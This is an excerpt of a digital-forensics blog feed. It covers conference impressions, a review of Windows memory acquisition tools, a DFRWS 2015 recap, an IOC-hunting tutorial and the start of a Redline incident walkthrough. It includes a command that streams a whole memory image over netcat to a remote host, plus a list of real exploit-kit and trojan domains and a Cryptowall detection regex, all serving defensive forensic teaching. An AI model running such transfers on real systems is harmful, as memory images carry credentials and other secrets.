<p>Please don&rsquo;t say that just because you wrote your own piece of basic code that installs on the machine and beacons out, you are offering APT testing. Providing a service that is basically what industry understands as pentest with one or two things you got from random APT report is not fair towards your customers. Put more effort to either understand the concept of TTP based on the <strong>REAL</strong> case scenarios or if you don&rsquo;t have access to such information, make new friends in the industry. Conferences like <strong>CONFidence</strong> are a great opportunity to do that! Guys who look at alerts and respond to incidents day in, day out will help you understand the biggest challenges companies face when defending against APT guys. It will make you a better pentester, give your customers a REAL value and provide defenders with an opportunity to share the experience. <strong>Win-Win-Win</strong>.</p>

<h4>Presentations</h4>

<p>Presenting is not easy. Important thing to remember is that you are presenting your research to someone (audience). Try to keep in mind that:</p>

<ul>
<li>Awesome presentations are a mixture of good humor and technical stuff</li>
<li>Define your goal, emphasize main message, proof your point</li>
<li>Organize your thoughts in visible and interesting way</li>
<li>Ask a non-technical person to review your presentation, and ask if he/she enjoys the presentation <strong>&lsquo;look and feel&rsquo;</strong></li>
<li>For the love of God! Catchy titles are nice but don&rsquo;t exaggerate! If the main theme from your title is not the main topic of your presentations something went horribly wrong and people will be disappointed</li>
</ul>


<h4>Talks</h4>

<p>Quality of talks and research (or lack of research!). We were trying to discuss the reasons why and came up with different ideas:</p>

<ul>
<li>CTF is a new cool thing to do,</li>
<li>Quantity not Quality. There is just too many security conferences and often with two or more tracks</li>
<li>Vendors (sponsors) want to sell products - crypto marketing</li>
<li>Consulting companies (sponsors) want to sell services - crypto marketing</li>
<li>Don&rsquo;t know&hellip;</li>
</ul>


<h4>Conclusions</h4>

<p>The main reason why I felt in love with community is the wealth and availability of the information, research, tools, ideas, knowledge, collaboration which everyone can be part of and everyone can use. The main reason why we decided to create DFIR.IT is because we felt we want to give back to the community. I could give you plenty of examples how we helped different customers to not get cyber bullied, extorted or exfiltrated, just because some unnamed heroes carried out research, that someone turned into an amazing tool and shared with others! I cannot express my appreciation of those guys and everyone that tries to make a difference. Conferences are important part of community and a framework to meet, share and learn from each other. Let&rsquo;s try to do whatever we can to keep it that way!</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Memory acquisition tools for Windows]]></title>
    <link href="http://dfir.it/blog/2015/04/20/memory-acquisition-tools-for-windows/"/>
    <updated>2015-04-20T22:58:52+02:00</updated>
    <id>http://dfir.it/blog/2015/04/20/memory-acquisition-tools-for-windows</id>
    <content type="html"><![CDATA[<p>Memory acquisition is usually the first step in digital forensics analysis. Before any analysis can be done, we need to acquire the memory in
the first place. There are a number of commercial solutions to acquire memory, but there is also a few free and even open source equivalents.<br/>
In this article I am going to review four memory acquisition utilities designed to deploy on a USB stick for quick incident response
operations.</p>

<!--more-->


<p>
Basic requirements:</p>

<ul>
<li>free of charge</li>
<li>minimal memory footprint</li>
<li>portable (no installation required) and lightweight</li>
<li>x86 and x64 support</li>
</ul>


<p>All tools were tested on my Windows7 x64 machine with 8GB of RAM. Let&rsquo;s get started!</p>

<h3>Magnet RAM Capture</h3>

<p>Magnet RAM Capture is a new player in the market. Supports Windows systems including XP, Vista, 7, 8, 10, 2003, 2008, and 2012. Magnet RAM
Capture has nice and simple GUI so running it is very straightforward. It creates a raw memory dump with a <code>.DMP</code> extension. If you are running
the tool from a FAT32 formatted USB stick and the host RAM you are capturing is greater than 4 GB, then segmentation feature will be very
helpful (it is disabled by default).</p>

<p>During my tests, Magnet RAM Capture allocated 2844K of memory.</p>

<p><img class="center" src="http://dfir.it/images/memory-acquisition-tools-for-windows/Magnet-RAM-Capture-Process.PNG" title="Magnet RAM Capture" alt="Magnet RAM Capture"></p>

<h3>Belkasoft Live RAM Capturer</h3>

<p>Belkasoft Live RAM Capturer is compatible with all versions and editions of Windows including XP, Vista, Windows 7 and 8, 2003 and 2008
Server. The authors claim that they did their best to optimize memory usage. It is even available in separate 32-bit and 64-bit versions in
order to minimize it’s footprint as much as possible. The tool comes equipped with kernel drivers allowing it to operate in the most
privileged kernel mode. Thanks to GUI it is very simple to use. By default it stores memory image in current working directory. It creates a
memory dump in RAW format. The name of the output file is the current system date with <code>.MEM</code> extension.</p>

<p>During my tests, 64-bit version of RAM Capturer allocated 2060K of memory.</p>

<p><img class="center" src="http://dfir.it/images/memory-acquisition-tools-for-windows/Belkasoft-RAM-Capture64.PNG" title="Belkasoft Live RAM Capturer" alt="Belkasoft Live RAM Capturer"></p>

<h3>MoonSols DumpIt</h3>

<p>MoonSols DumpIt is a fusion of old win32dd and win64dd combined into new and improved executable. It is also part of MoonSols Windows Memory
Toolkit. DumpIt offers an easy way of obtaining a memory image even if the investigator is not physically sitting in front of the target
system. It is designed to be provided to a non-technical user. Only a double click on the executable and confirmation is enough to generate a
copy of the physical memory in the current directory. A <code>.RAW</code> memory image named for the host name, date and UTC time will result.</p>

<p>Unfortunately free of charge version I used (1.3.2.20110401) is a few years old and is not developed any more. There is also commercial
version available with LZNT1 compression and RC4 encryption features, but of course it is not free and therefore does not meet our basic
requirements.</p>

<p>During my tests, DumpIt allocated only 780K of memory. Great result.</p>

<p><img class="center" src="http://dfir.it/images/memory-acquisition-tools-for-windows/DumpIt.PNG" title="DumpIt" alt="DumpIt"></p>

<h3>Rekall WinPMEM</h3>

<p>WinPMEM is actively developed open source utility. It is part of Rekall Memory Framework. WinPMEM has never let me down. It acquired
64GB memory image from Windows 2008 Server. Compared to the previously described tools, WinPMEM has a number of interesting features:</p>

<ul>
<li>output formats: RAW memory images and ELF Core dump files</li>
<li>output to STDOUT for piping through other tools like ssh, netcat, 7zip</li>
<li>memory acquisition using four different methods</li>
<li>optional write support for manipulating kernel data structures through <code>\\.\pmem</code> device</li>
</ul>


<p>WinPMEM is slightly harder to use. It can be run only from command line which makes it ideal for scripting purposes. Your script can be
deployed on a USB stick and do the job for you. My personal favourite feature is writing images to standard output (STDOUT). For example, you
can use it to transfer memory image directly to a remote machine:</p>

<p><code>winpmem_1.6.2.exe - | nc 10.0.0.1 1234</code></p>

<p>Or to create a password protected archive on the fly:</p>

<p><code>winpmem_1.6.2.exe - | 7z a -si -bd -pSECRET</code></p>

<p>During my tests, WinPMEM allocated 1596K of memory. You need to remember that in combination with other tools like nc or 7z, memory
consumption will be higher.</p>

<p><img class="center" src="http://dfir.it/images/memory-acquisition-tools-for-windows/winpmem.PNG" title="WinPMEM" alt="WinPMEM"></p>

<h3>Memory consumption comparison</h3>

<p>Well, the chart speaks for itself.</p>

<p><img class="center" src="http://dfir.it/images/memory-acquisition-tools-for-windows/MallocChart.png" title="Memory consumption" alt="Memory consumption"></p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[DFIR.IT! on tour - DFRWS 2015 Dublin]]></title>
    <link href="http://dfir.it/blog/2015/04/08/dfir-dot-it-on-tour-dfrws-2015-dublin/"/>
    <updated>2015-04-08T23:16:41+02:00</updated>
    <id>http://dfir.it/blog/2015/04/08/dfir-dot-it-on-tour-dfrws-2015-dublin</id>
    <content type="html"><![CDATA[<p>First official tour of DFIR.IT team started on DFRWS in Dublin - we headed there to attend DFRWS EU 2015 conference. Amazing time in Dublin was accompanied by sunny(!) weather, a proper pint of Guinness and some time to geek out - a perfect combination!</p>

<!--more-->


<h4>First and foremost!</h4>

<p>Big THANK YOU to:</p>

<ul>
<li>all the speakers for SHARING their great research, interesting ideas, tools and projects.</li>
<li>organization committee. Someone who never organized a conference doesn&rsquo;t realize the amount of work, effort and devotion required for events like DFRWS to become successful.</li>
<li>all the attendees - PEOPLE and ability to MEET and TALK with others are the secrets to great conference.</li>
</ul>


<p><img class="center" src="http://dfir.it/images/dfrws-2015/dfrws-2015.jpg" title="DFRWS badge" alt="DFRWS badge"></p>

<h3>Workshops</h3>

<p>DFRWS EU started with <a href="http://www.digital-forensic.org/">Digital Forensics Framework</a> workshop - if you&rsquo;ve never used this framework - go and play with it as soon as possible and consider DFF when <a href="http://dfir.it/blog/2015/04/04/building-incident-response-toolkit-redline-part1/">building IR toolkit</a>. DFF features include reconstruction of VMware &lsquo;vmdk&rsquo; files, support for multiple operating systems (Windows, Linux, OS X) file formats, memory analysis and many more. Workshops could have been ideal if participant were allowed to downloaded forensic images and install software before the class started. Sharing all the data via USB sticks with dozens of people was not the best idea ;)</p>

<p>Next was <a href="https://www.youtube.com/watch?v=0f7AtdF6B_0">The Decision</a> and it was extremely difficult where to &lsquo;take our talents next&rsquo;. Rekall and GRR workshops were conducted in parallel. As a clever bastards we&rsquo;ve decided to split and share the knowledge and materials. It turns out we were not clever enough, Micheal Cohen workshops quickly extended the available space in the room..</p>

<p>Nevertheless, Andreas Moser workshop was a great hands on introduction to <a href="https://github.com/google/grr">GRR open source project</a>. Workshop allowed participants to collect and analyze forensics artifacts and hunt for evil. GRR has all the features that Incident Responders want to have to quickly react and respond to threats. It took us few seconds after workshop to decide - we are setting up some testing infrastructure with GRR. Stay tuned for more GRR goodies on DFIR.IT</p>

<h3>Conference</h3>

<ul>
<li><p>The Search for MH370: Lessons from Inmarsat&rsquo;s Flightpath Reconstruction Analysis</p>

<p>  Even though this was not a typical computer forensics topic, &ldquo;The Search for MH370&hellip;&rdquo; was amazing presentation that reminded principal rule: even without sufficient data, investigators should always find a way to perform analysis.</p></li>
<li><p><a href="http://www.dfrws.org/2015eu/proceedings/DFRWS-EU-2015-1p.pdf">Hviz: HTTP(S) Traffic Aggregation and Visualization for Network Forensics</a></p>

<p>   Researchers presented analytical approach how to filter out noise and aggregate data in order to detect data exfiltration. One of the most interesting research papers on DFRWS. Authors promised to released the code after the conference. For the time being you can play with demo version <a href="http://hviz.gugelmann.com/">here</a>.</p></li>
<li><p><a href="http://www.dfrws.org/2015eu/proceedings/DFRWS-EU-2015-short-presentation-1.pdf">Tor Forensics on Windows OS</a></p>

<p>  Technical case study that outlined the artifacts left on the system by Tor Browser. Apart from standard forensics go to places (vss, registry, prefetch files, etc) authors focused on artifacts left in memory and <code>pagefile.sys</code> which can be found, for instance by looking for <strong>HTTP-memory-only-PB</strong> string. It might be interesting to compare the usage of all the artifacts created by browsers in terms of private browsing or incognito mode.</p></li>
<li><p><a href="http://www.dfrws.org/2015eu/proceedings/DFRWS-EU-2015-3p.pdf">Fast and Generic Malware Triage using openioc_scan</a></p>

<p>  Universal methodology of anomaly detection using memory IOC. Amount of data and artifacts stored in system memory snapshot allow openioc to detect UAC bypass, code injections, lateral movement and much more badness!</p></li>
<li><p><a href="http://www.dfrws.org/2015eu/proceedings/DFRWS-EU-2015-5p.pdf">Characterization of the Windows Kernel version variability for accurate Memory analysis</a></p>

<p>  Micheal Cohen focused on Windows Kernel version variability and its effect on memory analysis. One of the differences highlighted during presentation was that struct layout does not change within same minor versions which is not the case for kernel global constants. Fundamental differences between Rekall and Volatility is how frameworks build profiles and how struct layout and finding kernel global constants might not only affect quality but be more prone to errors and susceptible to anti-forensics.</p></li>
<li><p><a href="http://www.dfrws.org/2015eu/proceedings/DFRWS-EU-2015-6p.pdf">Acquisition and Analysis of Compromised Firmware Using Memory Forensics</a>.</p>

<p>  Most of the <a href="http://dfir.it/blog/2015/04/20/memory-acquisition-tools-for-windows/">memory acquisition tools</a> will acquire memory marked as RAM by OS, which will skip firmware memory ranges. In the light of recent events (<a href="http://www.wired.com/2015/02/nsa-firmware-hacking/">Equation group</a>, <a href="http://arstechnica.com/security/2015/01/worlds-first-known-bootkit-for-os-x-can-permanently-backdoor-macs/">MAC persistent backdoor</a>) ability of collecting firmware memory might be essential for investigators. Authors presented that firmware acquisition can be achieved by parsing configurations spaces of PCI devices and enumerating all <a href="http://en.wikipedia.org/wiki/Memory-mapped_I/O">MIMO</a> regions which would be excluded when acquiring memory. In addition to that authors build volatility plugin for dumping <a href="http://en.wikipedia.org/wiki/Advanced_Configuration_and_Power_Interface">ACPI</a> tables to file system.</p></li>
<li><p><a href="http://www.dfrws.org/2015eu/proceedings/DFRWS-EU-2015-8p.pdf">Smart TV Forensics: Digital Traces on televisions</a></p>

<p>  Researchers focused on investigating the digital traces found on SMART TVs. According to them, one of the biggest challenges is data acquisition. Even though, Smart TV from a hardware perspective is an embedded device, authors had to test different ways to obtain the data including eMMC five-wire method, NFI Memory Toolkit II and rooting the device. Analysis of the collected data allowed investigators to view system and network information, web browser and custom application activity.</p></li>
</ul>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Analyst's Handbook - Hunting with basic OSINT and command line fu]]></title>
    <link href="http://dfir.it/blog/2015/04/06/analysts-handbook-hunting-with-basic-osint-and-command-line-fu/"/>
    <updated>2015-04-06T21:53:45+02:00</updated>
    <id>http://dfir.it/blog/2015/04/06/analysts-handbook-hunting-with-basic-osint-and-command-line-fu</id>
    <content type="html"><![CDATA[<p>There are plenty of blacklists available online. Building blacklists based detection often leads to high false positives rates which affects quality, increase workload and make alerts investigation more difficult. Primary reason is the lack of context. Context allows analysts to focus on what&rsquo;s important and pivot from collected data in order to find more indicators and create better detection rules. Let&rsquo;s explore how to hunt with Open Source Intelligence and command line fu to find evil and enhance detection with pattern matching rules.</p>

<!--more-->


<h3>Create the IOC list</h3>

<p>For the sake of this example I&rsquo;ve decided to use this <a href="http://www.malware-traffic-analysis.net/suspicious-ip-addresses-and-domains.txt">list</a> which includes IP addresses, domains and most importantly: context! Context should be part of every IOC list that you create. It doesn&rsquo;t matter if the list is build based on known traffic patterns, OSINT research or tip off. Even though there might be additional overhead, having context will pay off in longer run.</p>

<p>List format example:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>207.182.149.13,port 80,eturnstartsikkanese. and returnstartsikkanese.innovativeapplicationsblog.com,,Angler EK (2nd attempt from 2015-01-22),2015-01-22
</span><span class='line'>207.182.149.13,port 80,governat.richdadradio.co.uk,,Angler EK (3rd attempt from 2015-01-22),2015-01-22
</span><span class='line'>209.126.97.209,port 80,jyjhsvgkpeni0g.com,POST /,ET TROJAN Bedep Checkin Response,2015-01-22
</span><span class='line'>188.138.25.107,port 80,drain.diskant.co.uk,POST /news.php,ET TROJAN Fareit/Pony Downloader Checkin 2,2015-01-22
</span><span class='line'>173.224.126.19,port 80,asop83uyteramxop.com,,ET MALWARE Fun Web Products Spyware User-Agent (FunWebProducts),2015-01-22
</span><span class='line'>83.69.233.133,port 8080,ipsalomenatep58highwayroad.biz:8080,,ET TROJAN Ursnif Checkin,2015-01-22
</span><span class='line'>79.99.6.187,port 8080,79.99.6.187:8080,,ETPRO TROJAN Win32/Injector.BOIK Downloader Checkin,2015-01-22
</span><span class='line'>188.40.64.218,port 80,n1hxftesfm3n4333ah61xnf.ajanshizmeti.com,,Windigo group Nuclear EK,2015-01-23
</span><span class='line'>96.44.135.8,port 80,camhogger.com,,Compromised website,2015-01-23
</span><span class='line'>188.226.180.82,port 80,instanthold.gq,,Nuclear EK,2015-01-23</span></code></pre></td></tr></table></div></figure>


<p>Let&rsquo;s start by extracting all the domains:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ cat suspicious-ip-addresses-and-domains.txt | egrep -v `#` |
</span><span class='line'>  cut -d `,` -f3  | 
</span><span class='line'>  tr `/` `\n` |
</span><span class='line'>  sed `s/ and returnstartsikkanese.//` |
</span><span class='line'>  sed `s/ and /\n/` |
</span><span class='line'>  sed `s/8085and/8085\n/` |
</span><span class='line'>  sed `s/www.//` |
</span><span class='line'>  tr -d ` ` | 
</span><span class='line'>  sed `s/\[23characters\].//` |
</span><span class='line'>  egrep . |
</span><span class='line'>  sort -n | uniq > domains-IOC</span></code></pre></td></tr></table></div></figure>


<p>For those who don&rsquo;t feel comfortable with command line:</p>

<ul>
<li>from list select all the lines excluding lines with <code>#</code> character</li>
<li>replace <code>/</code> with new line character <code>\n</code></li>
<li>replace strings in the file (<code>sed s/MatchString/ReplaceWithThisString</code>)</li>
<li>remove space character</li>
<li>select lines that contain <code>.</code></li>
<li>sort list and print unique entries results save to <code>domains-IOC</code> file</li>
</ul>


<p>Extracted list of domains (part removed for brevity):</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>brianpekarchuk.com
</span><span class='line'>burdiacs.com
</span><span class='line'>burtander.com
</span><span class='line'>butterflymedia.az
</span><span class='line'>californiainsuranceco.com
</span><span class='line'>callproc.com
</span><span class='line'>camhogger.com
</span><span class='line'>canadahalalec.com
</span><span class='line'>cannedseniordogfood.com
</span><span class='line'>captainblowdri.com
</span><span class='line'>caracolassn.com
</span><span class='line'>cast.autolistprofits.net
</span><span class='line'>celebrityvalley.com
</span><span class='line'>chcoa.com
</span><span class='line'>cityep.net
</span><span class='line'>themoviespoiler.com</span></code></pre></td></tr></table></div></figure>


<h3>Hunting</h3>

<p>Now, we can use our list to search for evil in the proxy logs:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ while read line; do egrep -i $line proxy-logs-20150130.log ; done &lt; domains-IOC</span></code></pre></td></tr></table></div></figure>


<p>For each line in the <code>domains-IOC</code> file the above code snippet will search for corresponding entry in the proxy log file.</p>

<p>If your SIEM solution or other detection platform allows you to access some backend that stores historic data about network connections you should consider yourself a lucky analyst. Let&rsquo;s assume this backend allows you to use raw SQL queries. Body of such SQL query can be easily pre-generated with command line:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ cat IOC-Domain | sed `s/.*/db_column_name="\0" OR/`</span></code></pre></td></tr></table></div></figure>




<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>db_column_name="brianpekarchuk.com" OR
</span><span class='line'>db_column_name="burdiacs.com" OR
</span><span class='line'>db_column_name="burtander.com" OR
</span><span class='line'>db_column_name="butterflymedia.az" OR
</span><span class='line'>db_column_name="californiainsuranceco.com" OR
</span><span class='line'>db_column_name="callproc.com" OR
</span><span class='line'>db_column_name="camhogger.com" OR
</span><span class='line'>db_column_name="canadahalalec.com" OR
</span><span class='line'>db_column_name="cannedseniordogfood.com" OR
</span><span class='line'>db_column_name="captainblowdri.com" OR
</span><span class='line'>db_column_name="caracolassn.com" OR
</span><span class='line'>db_column_name="cast.autolistprofits.net" OR
</span><span class='line'>db_column_name="celebrityvalley.com" OR
</span><span class='line'>db_column_name="chcoa.com" OR
</span><span class='line'>db_column_name="cityep.net" OR</span></code></pre></td></tr></table></div></figure>


<p>Now the only thing left is to add a header with SELECT statement and a table name.
This might be extremely useful and time saving especially if your list contains hundreds of entries!</p>

<p>Let&rsquo;s assume you found malicious domains in your proxy logs - for instance a hit on a <strong>Sweet Orange</strong> gate:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>200 TCP_NC_MISS GET themoviespolier.com 50.62.217.1 80 / http://www.google.com/url?url=http://www.themoviespoiler.com/&rct=j&frm=1&q=&esrc=s&sa=U&ei=KDnZVMbIN4eQyQTd8oKwCA&ved=0CBUQFjAA&usg=AFQjCNFJ3uEfi7Djoan_rZE88d15OulS9g DIRECT 
</span><span class='line'>200 TCP_NC_MISS GET static.matthewsfyi.com 50.87.151.146 80 /k?tstmp=3600039285 http://www.themoviespoiler.com/ DIRECT</span></code></pre></td></tr></table></div></figure>


<p>This is where <strong>context</strong> kicks in:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ egrep 50.87.151 suspicious-ip-addresses-and-domains.txt 
</span><span class='line'>50.87.151.146,port 80,static.matthewsfyi.com,,Redirect pointing to Sweet Orange EK,2015-02-09</span></code></pre></td></tr></table></div></figure>


<p>with this information <a href="http://malware-traffic-analysis.net/2015/02/09/index2.html">one click later</a> analyst can review chain of the events.</p>

<p>In this case most probably redirect to EK page did not happen as there were no hits in proxy logs for the following URLs:</p>

<ul>
<li><code>h.useditems.ca:8085</code></li>
<li><code>k.vidihut.com:8085</code></li>
</ul>


<p>However with the context available an analyst knows exactly what to look for and how to determine whether activity was successful or not.
It is definitely worth mentioning that EK gates stay active for a longer time, this in turn quite often leads to interesting findings like new compromised domains or landing pages. Just follow this example:</p>

<p> <figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>200 TCP_NC_MISS GET UnknownCompromisedWebsite.com 1.1.1.1 80 / - DIRECT
</span><span class='line'>200 TCP_NC_MISS GET static.matthewsfyi.com 50.87.151.146 80 /k?tstmp=3600039285 hxxp://UnknownCompromisedWebsite.com/ DIRECT</span></code></pre></td></tr></table></div></figure></p>

<p>Analysis of HTTP referer field provides information about previously unknown compromised domain.</p>

<h3>Improving detection</h3>

<p>Above queries allowed analysts to not only identify connections to bad domains but more importantly allowed them to use context to confirm/deny if traffic was indeed malicious and resulted in successful exploitation. That&rsquo;s pretty cool! But hey, there&rsquo;s more!
Bad guys quite often will use a different C&amp;C infrastructure for the same type of malware. Basically it is far more easier to change C&amp;C for given malware sample rather than to re-code the communication function/method. This means that malware will use similar communication pattern when connecting to different C&amp;C.</p>

<p>Enter pattern matching!</p>

<p>URL pattern matching is an effective way to detect the same type of network traffic communication even though bad guys use different IPs/domains.
For instance let&rsquo;s take a closer look at <strong>Cryptowall</strong> C&amp;C.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ egrep Crypto suspicious-ip-addresses-and-domains.txt | cut -d ',' -f4 | sort -n | uniq</span></code></pre></td></tr></table></div></figure>


<p><img class="center" src="http://dfir.it/images/analyst-handbook-hunting-with-basic-osint-and-command-line-fu/crypto-domains.png" width="450" height="334" title="Cryptowall requests" alt="Cryptowall requests"></p>

<p>Detection could be achieved with the following regular expression:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ egrep '\.php\?[a-z]{1}=[a-z0-9]{12,16}?' http-logs.txt</span></code></pre></td></tr></table></div></figure>


<p>Above expression will match <code>.php?</code> followed by:</p>

<ul>
<li>one letter</li>
<li>equals sign</li>
<li>minimum twelve to maximum sixteen alphanumeric characters</li>
</ul>


<p><img class="center" src="http://dfir.it/images/analyst-handbook-hunting-with-basic-osint-and-command-line-fu/regex-domains.png" width="450" height="329" title="Cryptowall - matched requests" alt="Cryptowall - matched requests"></p>

<p>This works for both real time detection and also hunting on historic data.</p>

<p>Happy Hunting!</p>

<p><strong>Update</strong></p>

<p>I&rsquo;ve noticed the original list is no longer available on <a href="http://www.malware-traffic-analysis.net/">www.malware-traffic-analysis.net</a>. You can grab a copy of the extracted domains list from <a href="https://github.com/dfir-it/IOC/blob/master/AnalystHandbook/domains-IOC">GitHub</a> if you want to play with it.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Building Incident Response Toolkit - Redline (part 2)]]></title>
    <link href="http://dfir.it/blog/2015/04/04/building-incident-response-toolkit-redline-part2/"/>
    <updated>2015-04-04T16:15:18+02:00</updated>
    <id>http://dfir.it/blog/2015/04/04/building-incident-response-toolkit-redline-part2</id>
    <content type="html"><![CDATA[<h3>Scenario</h3>

<p>Network X is an isolated, highly secured and monitored part of the network where Nation&rsquo;s Secrets are stored. Team responsible for monitoring the infrastructure reports suspicious activity on one of the servers <code>WIN-UC6FN0KAUGQ</code> (<code>10.10.100.100</code>) including failed authentication attempts, originating from a host within the same geographic location as network X. The suspected machine&rsquo;s is <code>WIN-569IC7NK834</code> (<code>10.10.100.50</code>). IR team was called to investigate. Reported time of the suspicious activity: <code>2015-01-28T19:30:24Z</code>.</p>

<!--more-->


<h3>Data Collection and Analysis</h3>

<p>Every investigation is all about getting as much context as possible. This gives handlers better understanding of what happened and in turn it influences decision what to do next. At this point the only available information are few suspicious authentication attempts. Data collected by Redline&rsquo;s Comprehensive Collector would be the best option to start our initial investigation.</p>

<p>Collection steps include:</p>

<ol>
<li>Incident Handler creates and sends collector to Administrator responsible for executing it on suspicious machine.</li>
<li>Administrator logs to box with temporary created account, and executes collector.</li>
<li>Archived results are sent to Incident Handler in a secure, predefined way (e.g. SFTP server).</li>
<li>Incident Handler downloads the file and start the analysis in a preconfigured Virtual Machine.</li>
</ol>


<h3>Analysis</h3>

<p>Where do we start? Each investigation is different and each handler has its own style. For most of the investigation one of the following strategies should yield satisfactory results:</p>

<ul>
<li>Timeline analysis (based on the time of suspicious activity)</li>
<li>Data analysis (based on information about suspicious activity)</li>
</ul>


<h4>Timeline analysis</h4>

<p>This one is fairly simple the only requirement is to have approximate time of suspicious activity.</p>

<ol>
<li>Build a timeline based on all collected data.</li>
<li>Set up a timeframe e.g. 30 minutes.</li>
<li>Review events that occurred within defined timeframe before and after the suspicious activity.</li>
<li>Look for anything that is out of ordinary.</li>
<li>Follow up on all suspicious events with additional investigation.</li>
<li>If nothing suspicious was found start again at step 2 and extend the timeframe.</li>
</ol>


<p>Let&rsquo;s test this approach in on our scenario.</p>

<p>Collected data can be loaded in Redline by double clicking the <code>.mans</code> file and selecting the type of investigation:</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part2/fimage.png" title="Type of investigation" alt="Type of investigation"></p>

<p>On the <strong>Analysis</strong> data panel select <strong>Timeline</strong>:</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part2/timeline.png" title="Timeline" alt="Timeline"></p>

<p>Redline will build the timeline based on all collected events. Next step is to define a <strong>TimeWrinkle</strong> which is a basic filter that will show only entries within defined time frame.</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part2/timewrinkle.png" title="TimeWrinkle" alt="TimeWrinkle"></p>

<p>One of the Windows Event Log entries close to the time of suspicious activity correlates with the usage of explicit logon credentials by user <code>PMac</code> against the target machine.</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part2/pmac.png" title="Event Log details" alt="Event Log details"></p>

<p>Let&rsquo;s see what happened before user <code>PMac</code> tried to authenticate.</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part2/ptimeline.png" title="Timeline - processes" alt="Timeline - processes"></p>

<p>Processes <code>cmd.exe</code> and <code>conhost.exe</code> were spawned by the user <code>PMac</code> two minutes before the explicit logon event. It might be worth checking memory ranges for <code>conhost.exe</code> as this process usually holds history of user&rsquo;s activity in a Windows command line (this is true for Windows 7/2008R2 or higher, for earlier versions you should focus on <code>csrss.exe</code> memory ranges). Dumping memory for given process with Redline can be easily achieved. Double clicking on <code>conhost.exe</code> displays the process information page. Select <strong>MRI Report</strong> and hit <strong>Acquire Process Address Space</strong> (assuming collector acquired memory). All memory ranges for given process will be extracted in the background. Let&rsquo;s not waste time and continue with the timeline analysis.</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part2/aconhost.png" title="conhost.exe details" alt="conhost.exe details"></p>

<p>There was nothing interesting in the timeline until we stumbled across the following entry: suspicious <code>m64.exe</code> file in a root directory.</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part2/m64.png" title="m64.exe" alt="m64.exe"></p>

<p>Next step would be to get the file and perform initial analysis. Unfortunately Redline collects information about the metadata of the files within filesystem. File would have to be extracted manually, for instance by the same administrator that run the collector (sometimes it is possible to extract files from the memory image using e.g <a href="https://code.google.com/p/volatility/wiki/CommandReference23#dumpfiles">Volatility</a>).</p>

<p>Now it is time to take a closer look at what happened in our timeline after the explicit logon attempt occurred.</p>

<p>Initial report mentioned few suspicious logon attempts. Using search feature we can look for other explicit credentials events:</p>

<p><img class="center" src="http://dfir.it/images/building-incident-response-toolkit-redline-part2/allexplicit.png" title="Timeline - Explicit credentials" alt="Timeline - Explicit credentials"></p>

<p>Apparently user <code>PMac</code> tried to use <code>Rob</code>&rsquo;s account&hellip;</p>

